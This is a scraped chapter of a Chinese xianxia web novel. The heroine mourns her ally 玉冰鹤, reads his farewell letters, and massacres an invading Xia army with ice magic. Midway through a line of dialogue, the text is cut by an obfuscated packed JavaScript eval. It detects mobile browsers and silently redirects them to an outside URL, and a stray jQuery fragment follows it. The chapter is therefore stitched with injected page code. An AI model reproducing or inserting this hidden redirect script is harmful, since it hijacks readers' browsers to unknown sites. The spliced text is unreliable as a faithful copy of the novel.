55. 昔日死,涅槃生(二十九)

作品:《我才不要破镜重圆

    玉冰鹤的身子变成一滩碎肉。


    泪意夺眶而出。


    不用想,玉冰鹤又是寻了什么逆天功法,什么秘籍,那虽可开启大阵,可……


    可冰鹤,那都是需要代价的……


    巨大的代价啊……


    冰鹤,你……


    阮姣姣艰难地找出玉冰鹤的头,可骨头都被融掉了,怎么可能还能看到玉冰鹤的脸呢?泪眼淹没她的喉管,强烈的窒息困住她的思绪。


    她的双手不住的颤抖,不知是被眼前血色震慑,还是对于无力挽救玉冰鹤的绝望,她的气力被挥散一空。


    “玉……冰鹤……冰鹤,你……我拿到世界本源了……我喂给你……”


    “你会活下来的!你会活着的!我会把你的身体治好,我会帮你的!”


    阮姣姣跪倒在床前,泣不成声道。


    “臭女人……没用的……没用的……我……臭女人你还在吗……”


    “我在、我在、我在。”阮姣姣抱住那团碎肉,血液沾上她的衣袖。


    玉冰鹤忽的急喘气,像是在奋力冲破什么。


    “脏……脏……”


    “我……保护……霜寒城……了……我们……我们……”


    玉冰鹤的气息断了。


    那样鲜活的人以一种惨烈的方式,在阮姣姣眼前消失。


    阮姣姣第一次知道,原来那样喜欢折腾的人,死后居然这般安静。


    看着眼前的血肉,阮姣姣都不敢想象玉冰鹤那个娇蛮的小少爷,到底遭了多少受罪。


    是她这个城主无能,是她这个城主懦弱,是她这个城主没用!!!


    她想抱抱玉冰鹤,却面对这处处狼狈的玉冰鹤,她无从下手,也无可奈何。


    细细想来,她复活之后,与玉冰鹤几乎没有太大接触,不是为了他奔波,就是在升级的路上,和他相处的时间寥寥无几。


    苦了冰鹤……


    “城主、城主,这是玉少主留下的信,他撕掉的,去也一并留下来了。”


    玉安淳怯生生地缝上一沓皱皱巴巴信纸。


    “你跟我说说玉冰鹤的情况。”


    纸张不少带着血,越往后翻,血渍越多。不少纸张被撕毁,残缺。


    “昨日夏国士兵突然来犯,浮将军虽带人前去对敌,可这次夏国带来的人明显多的多,我们霜寒城的人本就不多。眼看我们的城门即将和上一次一样被攻破,玉少主出手了。”


    玉安淳咽了口唾沫,眼中浮现回忆之色。


    “那时我正给玉少主熬骨汤,我亲眼看门玉少主像被什么拖起,直直拖到这城中央。空公大亮,浮云在这一刻散开。从玉城主身上亮起光芒,所以在那一刻无法睁眼抬头看去。”


    “霜寒城内的冰寒被挥散一空,小的知道,阵法重新开启了,挡住了夏国的人,保住了我们的命。众城民齐齐欢呼。”


    “那之后,玉城主的身子消失,取而代之是……是……”


    玉安淳的声音渐渐弱了下去,停顿之后,聪明的不再言语。


    “你下去吧,有什么情况第一时间告诉我。”


    阮姣姣背着身道。玉冰鹤怕是那时就已经不行了,一直强撑这一口气,等着她回来。


    冰鹤啊、冰鹤啊,你怎么这么傻……


    玉安淳躬身转身。


    想起玉冰鹤要强的性子。


    她补充道:“没有我命令,任何人不准进这间屋子。”


    整理好情绪后,阮姣姣挥出一道法力护住玉冰鹤的尸身之上,翻开那一张张信纸。


    “玉冰花,雪域圣物,千年生芽,万年开花。向死而生,向生而死,一生只为一人。臭女人,本少主心系与你,你还算有福气。“


    “臭女人,本少主再也见不到你了,你开心了吧?哼!嘻嘻,本少主说笑的,阮姣姣,你是第一个敢打本少主屁股的女人,本少主会一辈子记着你的。


    本少主记着你就够了,你不必记着本少主一个废人。其实……本少主跟你说悄悄话,本少主、本少主……从一开始本少主,就从未想过从夏国活着离开。


    本少主自是知晓我的身子撑不住了,我所剩寿命无几,所以这段偷来的日子,哪怕是惨了砒霜的毒酒,本少主也甘之若饴。可我却是没想到,你居然真的为本少主一个废人寻来了吙珠,你为什么要对本少主这样好?你是不是就是想要本少主忘不掉你?”


    “好煽情噢,弄的本少主居然都落泪了。”


    这页右下角,画上了一朵花,两侧各用毛笔圈出三颗水滴。


    “本少主唯一后悔的便是,那日,我不该放你走的。”


    “对不起,阮姣姣,我的骄傲不允许我这样活着,我……抱歉……我刺痛了你。”这一页被玉冰鹤撕碎了。


    “臭女人,你现在一定悔不当初吧,要是那时和本少主在一起了,我们孩子都有了,叫你不听本少主的,坏事了吧,这次都怪你!”


    “是我没用,我要是在强上几分,要是我……我不配做霜寒城的少主,我不想母后的江山被我丢掉。”


    写到这里,信纸上的字迹已然逐渐扭曲。


    “阮姣姣,玉冰鹤爱你,玉冰花也爱你。”


    这页的血染红了大半张纸,摸起来黏糊糊的,阮姣姣看了半天,才辨认出这几个字。


    “阮姣姣,下辈子,我先要打你的屁股。我的屁股才不要给你打。”


    阮姣姣噗嗤一声含着泪笑了出来。


    笑着笑着,就哭了。


    纵使在光幕之中,经历了那么多生死,看了那么多,她却还是不能以寻常心面对这一人间哀伤。


    玉冰鹤已死,她手上的本源已经没有了意义。


    一日之别,已是天人永隔。


    阮姣姣把世界本源放在玉冰鹤尸身之上,这本是属于他的。


    他是成功守护了霜寒城的英雄。


    现在就把霜寒城交给她吧。


    擦干眼泪,迎头向前。


    “来人,根据玉城主的尸身,为其量身打造一套冰棺。”


    阮姣姣历声吩咐下去。


    “主人,你……还好吗?”门口蹲着的长离殃见门开了,抱着两块卤肉探头,小心道。


    “你一直蹲在这里?”阮姣姣拿开长离殃怼在口边的肉。


    “主人,你要难过就打奴吧,奴皮糙肉厚,不怕的……憋在心里丧的慌……”


    长离殃脸还沾着面粉,目露哀愁之色。


    阮姣姣摇摇头,拒绝了长离殃的好意。


    长离殃目送着阮姣姣离去,暗自捏紧了拳。


    城楼之上。


    阮姣姣迎风而站,长裙飘飘。


    目光扫视一圈,停留在其中一人身上。


    数万大军逼进霜寒城门,火攻、刀剑手已经全全准备好,烽烟四起。


    阮姣姣飞身下城楼,若不是忌惮霜寒城的阵法,他们怕是早就攻上前来。


    若不是玉冰鹤即时采取措施,怕是霜寒城又要重蹈覆辙。


    这次事后,她还要进一步加强霜寒城的防御。


    “阮软软,别来无恙。”夏陇怯一身龙袍,坐在众士兵后方,抬眸看向半空中的阮姣姣。


    夏陇怯着一身明晃晃的黄袍着实亮眼,五爪金龙镶金戴玉,下缀沧海龙腾的图案,袍角绣着金色祥云。


    长发束起,头带冠冕,系明黄色的管绳,冠冕镶嵌红色宝石,珠子落在两侧。


    整个人的气势逼人,如同一把已经出鞘,即将欲血的剑,与前些日子那个愣瘦的少年完全不一样。


    不等阮姣姣发话,夏陇怯眼带怀恋之色,微微仰头看向空中那道身影,又道:“相比阮姣姣,朕更想唤你阮软软。”


    “阮软软,这段时光,朕常想那夜和你一起的时光,如若不是你派人带过的食物,朕也不会有今日。”


    “夏陇怯,你到底还是变成了你最厌恶的样子。”


    阮姣姣看着严阵以待的士兵,那身披黄袍的男子,恍惚间,玉冰鹤的身影再一次出现在她眼前。


    “我以前以为你只是反应慢了些,性子不坏,哈哈……现在想来,我还是太单纯,能在深宫之中活下的人,怎么可能是良善之备?”


    许是旧人之仇历历在目,阮姣姣一时间对夏国的怨恨又多了些。


    夏陇怯倘若未闻,嘴角还挂上了一丝笑意:“阮软软,朕与你还是有些情意在的,今日朕带来了十万大兵,后有五万士兵随时听命于朕,只要朕想,攻下霜寒城不过是时间多少而已。”


    “皆


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15488335|163928||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    时霜寒城百姓流离失所,死伤无数、山河破碎、夫死家破,想必不是你想看到的吧?”


    夏陇怯摊开五指,随后猛地收紧,才狼虎豹的狠戾之色在这一刻暴露。


    放完狠话的夏陇怯,停顿片刻,盯着阮姣姣的脸看了半刻,并未看到她有半分求饶之色,嘴角的笑意更大了。


    “朕此次过来,就是想于你商谈,”


    阮姣姣最是见不得他这副假人假意的样子。


    商谈?商谈带这么多人过来?


    若说他没有想置其霜寒城于死地之心,何必带这么多人?


    虚伪!


    若是她此时答应了商谈一事,那霜寒城那些在这场战争中死去人算什么?!


    她打断道:“不必,我与你,我与夏国之间,早就没有商谈的必要了,我们之间只有血海深仇,大恨宿怨,不是你们死,就是我们亡,有我阮姣姣在的一日,我们就再不可能有商谈的机会。”


    阮姣姣挥出一道冰寒之力隔绝了夏国敌军前进的步伐。


    “阮软软,你不妨先听听朕给你的选择,只要你坐朕的皇后。霜寒城,朕不仅不会动,还会安排人保护这里。”


    阮姣姣被对方道貌岸然的话气笑了:“夏陇怯你想的倒挺美。”


    “我阮姣姣城主当的好好的,凭什么要和别人共用孽根?”


    她字字珠玑,眉眼间的净是恶心。


    “传朕旨意,所以士兵准备。”


    “进攻。”


    夏陇怯眼底布上一层阴霾,笑意收敛,无情道。


    随着夏陇怯的一声令下,号角声、叫喊声如乌云压境,势不可挡,所向披靡。


    阮姣姣默念法诀,数道深蓝的龙卷风拔地而起,天空飘下纯白的雪花,湛蓝的冰色倒映在她脸上,冰雪肆意卷动。


    “啊!”


    “哎呦!”


    “鬼娘的……”


    水蓝色的龙卷风将如蚂蚁般的士兵吸入暴风中,无数污言秽语、惨叫声回荡在她耳边。


    死了一波,又来一波。


    阮姣姣冷眼看着这些人,想起玉冰鹤的惨状她甚至丧心病狂的觉得,还不够、还不够……


    冰晶一颗一颗的从天空砸下,肉泥迸溅,惨叫尖锐。


    “该死的贱女人,残忍之妒,完全不是人能生出来的种!根本就不配做我们夏国的皇后!”


    “对!这女人一直不敢和我们正面对抗,我就说区区霜寒城怎么跟个缩头乌龟似的,就是怕死!”


    “有本事就滚下来!”


    “滚下来!看我不干死这个小娘皮!”


    “……”


    真吵。


    阮姣姣微微皱眉,下一刻。


    以她的轴点,百米之内的士兵全部都被化作一墩墩活灵活现的冰雕。


    或恐惧,或绝望,或怨恨,或煎熬……


    玉冰鹤或许也经历过这一切吧。


    夏陇怯不是说他有十五万大军吗?


    那她倒要看看,死了十万,夏陇怯还敢不敢再派人过来!


    死吧!


    去死!


    全都去死!


    狂涌的的魔力倾泻而下,落下的冰晶比刚才大了一倍不止。


    噼里乓当的砸在地面。


    夏国士兵密谋策划的阵法几乎毫无用处,零零散散的士兵东躲西常。


    阮姣姣居高临下看着芝麻人在下方奔跑,忽然莫名有一种神仙俯视凡间的感觉。


    何曾几时,她也善良过,她也想在这修仙姐平平淡淡的过上一生,她也想守护住她那一方净土……


    “浮耀光,你带人下去,把夏国士兵全部杀光,一个不留。”


    阮姣姣可不相信什么善待敌人之类的鬼话,尊严有微信只能用鲜血来维持。


    倘若她今日不把这些孽畜全杀光,那他日敌军再次来犯怎么办?


    “杀光,全部杀光,杀的越多越好,一个不留。”


    阮姣姣垂下眉眼,面无神色。


    她不带半分犹豫之色,仿佛决定的不是那数十万人的性命,更像是哟哟然的吩咐连死几只蚂蚁那样简单。


    面对十有六七的阵亡人数,在后方稳坐钓鱼台的夏陇怯非但没有面露不渝之色,反倒嘴角缓缓勾起。